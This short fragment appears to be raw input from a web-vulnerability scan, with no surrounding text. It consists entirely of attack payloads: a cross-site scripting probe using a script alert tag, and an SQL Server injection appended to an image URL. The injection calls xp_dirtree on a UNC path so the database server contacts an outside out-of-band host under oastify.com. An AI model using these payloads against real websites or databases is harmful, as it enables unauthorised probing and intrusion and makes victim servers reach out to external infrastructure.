<script>alert('test');</script>

https://i.ss.com/img/main/transport.png;declare @q varchar(99);set @q='\\kzn15ww53zbnn3znjjsu09r9t0zynqpid93xvkx8m.oasti'+'fy.com\xqo'; exec master.dbo.xp_dirtree @q;--